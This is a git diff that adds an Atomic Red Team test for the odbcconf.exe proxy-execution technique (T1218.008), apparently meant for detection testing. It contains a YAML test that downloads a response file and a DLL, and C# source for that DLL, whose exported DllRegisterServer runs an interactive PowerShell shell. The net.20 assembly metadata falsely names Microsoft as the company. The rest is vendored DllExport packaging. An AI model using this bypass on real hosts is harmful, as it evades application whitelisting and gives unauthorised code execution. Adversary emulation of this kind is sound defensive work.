diff --git a/atomics/T1218.008/T1218.008.yaml b/atomics/T1218.008/T1218.008.yaml index 5a7d6b34..4d44ba20 100644 --- a/atomics/T1218.008/T1218.008.yaml +++ b/atomics/T1218.008/T1218.008.yaml @@ -24,4 +24,33 @@ atomic_tests: executor: command: | odbcconf.exe /S /A {REGSVR "#{dll_payload}"} - name: command_prompt \ No newline at end of file + name: command_prompt +- name: Odbcconf.exe - Load Response File + description: | + Execute arbitrary response file that will spawn PowerShell.exe. + Source files: https://github.com/woanware/application-restriction-bypasses + supported_platforms: + - windows + input_arguments: + rsp_file_name: + description: Response file name to load + type: String + default: T1218.008.rsp + rsp_file_path: + description: Response file path + type: String + default: PathToAtomicsFolder\T1218.008\bin\ + dependency_executor_name: powershell + dependencies: + - description: | + T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name}) + prereq_command: | + if (Test-Path #{rsp_file_path}#{rsp_file_name}) {exit 0} else {exit 1} + get_prereq_command: | + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}" + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll" + executor: + command: | + cd #{rsp_file_path} + odbcconf.exe -f #{rsp_file_name} + name: command_prompt diff --git a/atomics/T1218.008/bin/T1218.008.rsp b/atomics/T1218.008/bin/T1218.008.rsp new file mode 100644 index 00000000..0e42d0b3 --- /dev/null +++ b/atomics/T1218.008/bin/T1218.008.rsp @@ -0,0 +1 @@ +REGSVR o.dll \ No newline at end of file diff --git a/atomics/T1218.008/bin/o.dll b/atomics/T1218.008/bin/o.dll new file mode 100644 index 00000000..8b9d1a01 Binary files /dev/null and b/atomics/T1218.008/bin/o.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.20/Class1.cs b/atomics/T1218.008/src/odbcconf net.20/Class1.cs new file mode 100644 index 00000000..e5abb7f9 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/Class1.cs @@ -0,0 +1,77 @@ +// https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b + +// odbcconf.exe /F file.rsp + +using System; +using System.Runtime.InteropServices; +using RGiesecke.DllExport; +using System.Collections.ObjectModel; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Text; + +public class Test +{ + + [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] + public static bool DllRegisterServer() + { + while (true) + { + AllocConsole(); + IntPtr defaultStdout = new IntPtr(7); + IntPtr currentStdout = GetStdHandle(StdOutputHandle); + Console.Write("PS >"); + string x = Console.ReadLine(); + try + { + Console.WriteLine(RunPSCommand(x)); + } + catch (Exception e) + { + Console.WriteLine(e.Message); + } + } + return true; + } + //Based on Jared Atkinson's And Justin Warner's Work + public static string RunPSCommand(string cmd) + { + //Init stuff + Runspace runspace = RunspaceFactory.CreateRunspace(); + runspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); + Pipeline pipeline = runspace.CreatePipeline(); + + //Add commands + pipeline.Commands.AddScript(cmd); + + //Prep PS for string output and invoke + pipeline.Commands.Add("Out-String"); + Collection results = pipeline.Invoke(); + runspace.Close(); + + //Convert records to strings + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj); + } + return stringBuilder.ToString().Trim(); + } + + public static void RunPSFile(string script) + { + PowerShell ps = PowerShell.Create(); + ps.AddScript(script).Invoke(); + } + + private const UInt32 StdOutputHandle = 0xFFFFFFF5; + [DllImport("kernel32.dll")] + private static extern IntPtr GetStdHandle(UInt32 nStdHandle); + [DllImport("kernel32.dll")] + private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); + [DllImport("kernel32")] + static extern bool AllocConsole(); + +} \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/Properties/AssemblyInfo.cs b/atomics/T1218.008/src/odbcconf net.20/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..d1ecc173 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("odbcconf")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft")] +[assembly: AssemblyProduct("odbcconf")] +[assembly: AssemblyCopyright("Copyright © Microsoft 2017")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("8346cf2d-dbdf-4ffd-a4dc-4d51f1d8d3b9")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/atomics/T1218.008/src/odbcconf net.20/odbcconf.csproj b/atomics/T1218.008/src/odbcconf net.20/odbcconf.csproj new file mode 100644 index 00000000..d294f7c7 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/odbcconf.csproj @@ -0,0 +1,62 @@ + + + + + Debug + AnyCPU + {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9} + Library + Properties + odbcconf + oc + v2.0 + 512 + + + + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + x64 + + + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll + False + True + + + + False + ..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll + + + + + + + + + + + + + \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/odbcconf.sln b/atomics/T1218.008/src/odbcconf net.20/odbcconf.sln new file mode 100644 index 00000000..f1afa906 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/odbcconf.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/atomics/T1218.008/src/odbcconf net.20/packages.config b/atomics/T1218.008/src/odbcconf net.20/packages.config new file mode 100644 index 00000000..9fa2d188 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg new file mode 100644 index 00000000..ad4bc322 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/UnmanagedExports.1.2.7.nupkg differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll new file mode 100644 index 00000000..bec9cf62 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/lib/net/RGiesecke.DllExport.Metadata.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1 b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1 new file mode 100644 index 00000000..481afac8 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/DllExportCmdLets.psm1 @@ -0,0 +1,105 @@ +function Remove-OldDllExportFolder { + param($project) + $defaultFiles = ('DllExportAttribute.cs', + 'Mono.Cecil.dll', + 'RGiesecke.DllExport.dll', + 'RGiesecke.DllExport.pdb', + 'RGiesecke.DllExport.MSBuild.dll', + 'RGiesecke.DllExport.MSBuild.pdb', + 'RGiesecke.DllExport.targets') + + $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) + + $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { + $dllExportDir = $_ + + if($dllExportDir.GetDirectories().Count -eq 0){ + $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } + + if(-not $unknownFiles){ + Write-Host "Removing 'DllExport' from " $project.Name + $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { + $_.Remove() + } + + Write-Host "Deleting " $dllExportDir.FullName " ..." + $dllExportDir.Delete($true) + } + } + } +} + +function Remove-OldDllExportFolders { + Get-Project -all | % { + Remove-OldDllExportFolder $_ + } +} + +function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { + $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; + $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) + + if(!$msBuildV4) { + throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") + } + + $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') + + return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName) +} + +function Get-AllDllExportMsBuildProjects { + (Get-Project -all | % { + Get-DllExportMsBuildProjectsByFullName $_.FullName + }) | ? { + return ($_.Xml.Imports | ? { + "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); + }).Length -gt 0; + } +} + +function Assert-PlatformTargetOfProject([String] $fullName) { + $proj = Get-DllExportMsBuildProjectsByFullName $fullName + + if(!$proj) { + return; + } + + $platformTarget = $proj.GetPropertyValue('PlatformTarget'); + + if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 'x64')) { + $projectName = [IO.Path]::GetFileNameWithoutExtension($fullName); + if(!$platformTarget) { + $platformTarget = "has no platform target"; + } else { + $platformTarget = "has a platform target of '$platformTarget'"; + } + Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions." + Write-Host "" + } +} + +function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { + $projects = Get-AllDllExportMsBuildProjects; + + [String] $asString = $value; + + if($projectName) { + $projects = $projects | where { $_.Name -ieq $projectName }; + } + $propertyName = 'NoDllExportsForAnyCpu'; + + $projects = $projects | where { + $_.GetPropertyValue($propertyName) -ine $asString + } | % { + $_.SetProperty($propertyName, $asString); + } +} + +Export-ModuleMember Set-NoDllExportsForAnyCpu + +Export-ModuleMember Remove-OldDllExportFolder +Export-ModuleMember Remove-OldDllExportFolders +Export-ModuleMember Get-DllExportMsBuildProjectsByFullName +Export-ModuleMember Get-AllDllExportMsBuildProjects +Export-ModuleMember Assert-PlatformTargetOfProject \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll new file mode 100644 index 00000000..8cf15a12 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/Mono.Cecil.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll new file mode 100644 index 00000000..ba22ab10 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb new file mode 100644 index 00000000..79a2a6cb Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.MSBuild.pdb differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll new file mode 100644 index 00000000..5a77fe73 Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.dll differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb new file mode 100644 index 00000000..e0e571ab Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.pdb differ diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets new file mode 100644 index 00000000..dd63ee1f --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets @@ -0,0 +1,75 @@ + + + + + + $(PostBuildEventDependsOn); + RGieseckeDllExport + + + + + + $(BuildDependsOn); + RGieseckeDllExport + + + + + + + + + + + + RGiesecke.DllExport.DllExportAttribute + RGiesecke.DllExport.Metadata + + $(Platform) + $(PlatformTarget) + $(CpuType) + $(DebugSymbols) + false + $(DllExportTimeout) + $(KeyContainerName)$(AssemblyKeyContainerName) + $(KeyOriginatorFile) + $(MSBuildProjectDirectory) + $(TargetPath) + $(TargetedFrameworkDir);$(TargetFrameworkDirectory) + $(DevEnvDir)\..\..\VC\bin + $(DevEnvDir) + $(TargetFrameworkVersion) + $(TargetFrameworkSDKToolsDirectory) + $(NoDllExportsForAnyCpu) + + + + + \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/init.ps1 b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/init.ps1 new file mode 100644 index 00000000..03ebad40 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/init.ps1 @@ -0,0 +1,12 @@ +param($installPath, $toolsPath, $package, $project) + +Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) + +if($project) { + Assert-PlatformTargetOfProject $project.FullName +} +else { + Get-AllDllExportMsBuildProjects | % { + Assert-PlatformTargetOfProject $_.FullPath + } +} \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/install.ps1 b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/install.ps1 new file mode 100644 index 00000000..3f4cefd6 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/install.ps1 @@ -0,0 +1,52 @@ +param($installPath, $toolsPath, $package, $project) + +$targetFileName = 'RGiesecke.DllExport.targets' +$targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) +$targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute + +$msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; +$msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) + +if(!$msBuildV4) { + throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name."); +} + +$projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') + +# change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally + +$project.Object.References | ? { + $_.Name -ieq "RGiesecke.DllExport.Metadata" +} | % { + if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ + $_.CopyLocal = $false + } +} + +$projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName) +$projects | % { + $currentProject = $_ + + # remove imports of RGiesecke.DllExport.targets from this project + $currentProject.Xml.Imports | ? { + return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project)) + } | % { + $currentProject.Xml.RemoveChild($_); + } + + # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName + $currentProject.Xml.Properties | ? { + $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" + } | % { + $_.Parent.RemoveChild($_) + } + + $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute + $relativeUrl = $projectUri.MakeRelative($targetUri) + $import = $currentProject.Xml.AddImport($relativeUrl) + $import.Condition = "Exists('$relativeUrl')"; + + # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) + Remove-OldDllExportFolder $project + Assert-PlatformTargetOfProject $project.FullName +} \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1 b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1 new file mode 100644 index 00000000..cc535aef --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.20/packages/UnmanagedExports.1.2.7/tools/uninstall.ps1 @@ -0,0 +1,17 @@ +param($installPath, $toolsPath, $package, $project) + +$targetFileName = 'RGiesecke.DllExport.targets' +$targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName) +$targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute) + +$projects = Get-DllExportMsBuildProjectsByFullName($project.FullName) + +return $projects | % { + $currentProject = $_ + + $currentProject.Xml.Imports | ? { + "RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project) + } | % { + $currentProject.Xml.RemoveChild($_) + } +} \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/Class1.cs b/atomics/T1218.008/src/odbcconf net.40/Class1.cs new file mode 100644 index 00000000..5ce28407 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/Class1.cs @@ -0,0 +1,75 @@ +//odbcconf.exe /F file.rsp + +using System; +using System.Runtime.InteropServices; +using System.Collections.ObjectModel; +using System.Management.Automation; +using System.Management.Automation.Runspaces; +using System.Text; +using odbc; + +public class Test +{ + + [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] + public static bool DllRegisterServer() + { + while (true) + { + AllocConsole(); + IntPtr defaultStdout = new IntPtr(7); + IntPtr currentStdout = GetStdHandle(StdOutputHandle); + Console.Write("PS >"); + string x = Console.ReadLine(); + try + { + Console.WriteLine(RunPSCommand(x)); + } + catch (Exception e) + { + Console.WriteLine(e.Message); + } + } + return true; + } + //Based on Jared Atkinson's And Justin Warner's Work + public static string RunPSCommand(string cmd) + { + //Init stuff + Runspace runspace = RunspaceFactory.CreateRunspace(); + runspace.Open(); + RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); + Pipeline pipeline = runspace.CreatePipeline(); + + //Add commands + pipeline.Commands.AddScript(cmd); + + //Prep PS for string output and invoke + pipeline.Commands.Add("Out-String"); + Collection results = pipeline.Invoke(); + runspace.Close(); + + //Convert records to strings + StringBuilder stringBuilder = new StringBuilder(); + foreach (PSObject obj in results) + { + stringBuilder.Append(obj.ToString().TrimEnd('\r', '\n')); + } + return stringBuilder.ToString().Trim(); + } + + public static void RunPSFile(string script) + { + PowerShell ps = PowerShell.Create(); + ps.AddScript(script).Invoke(); + } + + private const UInt32 StdOutputHandle = 0xFFFFFFF5; + [DllImport("kernel32.dll")] + private static extern IntPtr GetStdHandle(UInt32 nStdHandle); + [DllImport("kernel32.dll")] + private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); + [DllImport("kernel32")] + static extern bool AllocConsole(); + +} \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/Properties/AssemblyInfo.cs b/atomics/T1218.008/src/odbcconf net.40/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..038a74d5 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("odbc")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("odbc")] +[assembly: AssemblyCopyright("Copyright © 2017")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("12614e54-5c05-4278-8f76-f1940f87a352")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/atomics/T1218.008/src/odbcconf net.40/odbcconf.csproj b/atomics/T1218.008/src/odbcconf net.40/odbcconf.csproj new file mode 100644 index 00000000..95726f10 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/odbcconf.csproj @@ -0,0 +1,63 @@ + + + + + Debug + AnyCPU + {12614E54-5C05-4278-8F76-F1940F87A352} + Library + Properties + odbc + odbc + v4.5 + 512 + + odbc + true + 1 + false + false + + + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + x64 + false + + + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + + packages\DllExport.1.5.2\lib\net20\DllExport.dll + False + + + + + False + ..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll + + + + + + + + + + + + + \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/odbcconf.sln b/atomics/T1218.008/src/odbcconf net.40/odbcconf.sln new file mode 100644 index 00000000..e1c982f9 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/odbcconf.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.4 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{12614E54-5C05-4278-8F76-F1940F87A352}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.Build.0 = Debug|Any CPU + {12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.ActiveCfg = Release|Any CPU + {12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/atomics/T1218.008/src/odbcconf net.40/packages.config b/atomics/T1218.008/src/odbcconf net.40/packages.config new file mode 100644 index 00000000..2cfa733e --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/3rd-party.txt b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/3rd-party.txt new file mode 100644 index 00000000..6b51b501 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/3rd-party.txt @@ -0,0 +1,16 @@ +DllExport [ github.com/3F/DllExport ] +- - - - - - - - - - - - - - - - - - - + +# Third-party software components + +## The DllExport includes: + + * CoreCLR / ILAsm / ILDasm [ github.com/3F/coreclr ] + * Mono.Cecil [ github.com/jbevain/cecil ] + * SDK reference assemblies for PowerShell version 5 [ github.com/PowerShell/ ] + +## Maintenance of this project also includes: + + * vsSolutionBuildEvent /+ CI.MSBuild [ github.com/3F/vsSolutionBuildEvent ] + * GetNuTool [ github.com/3F/GetNuTool ] + diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg new file mode 100644 index 00000000..3d083fdd Binary files /dev/null and b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg differ diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/License.txt b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/License.txt new file mode 100644 index 00000000..443e13aa --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/License.txt @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2009-2015 Robert Giesecke +Copyright (c) 2016-2017 Denis Kuzmin + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/Readme.md b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/Readme.md new file mode 100644 index 00000000..7ad3c028 --- /dev/null +++ b/atomics/T1218.008/src/odbcconf net.40/packages/DllExport.1.5.2/Readme.md @@ -0,0 +1,188 @@ +# [DllExport](https://github.com/3F/DllExport) + +*Unmanaged Exports ( .NET DllExport )* + +``` +Copyright (c) 2009-2015 Robert Giesecke +Copyright (c) 2016-2017 Denis Kuzmin +``` + +[![Build status](https://ci.appveyor.com/api/projects/status/yh1pnuhaqk8h334h/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/dllexport/branch/master) +[![NuGet package](https://img.shields.io/nuget/v/DllExport.svg)](https://www.nuget.org/packages/DllExport/) +[![License](https://img.shields.io/badge/License-MIT-74A5C2.svg)](https://github.com/3F/DllExport/blob/master/LICENSE) + + +```csharp +[DllExport("Init", CallingConvention.Cdecl)] +public static int entrypoint(IntPtr L) +{ + // ... it will be called from Lua script + + lua_pushcclosure(L, onProc, 0); + lua_setglobal(L, "onKeyDown"); + + return 0; +} +``` + +* **For work with Unmanaged code/libraries (binding between .NET and C/C++ etc.), see [Conari](https://github.com/3F/Conari)** +* If you need convenient work with Lua (5.1, 5.2, 5.3, ...), see [LunaRoad](https://github.com/3F/LunaRoad) + +```csharp +[DllExport("Init", CallingConvention.Cdecl)] +// __cdecl is the default calling convention for our library as and for C and 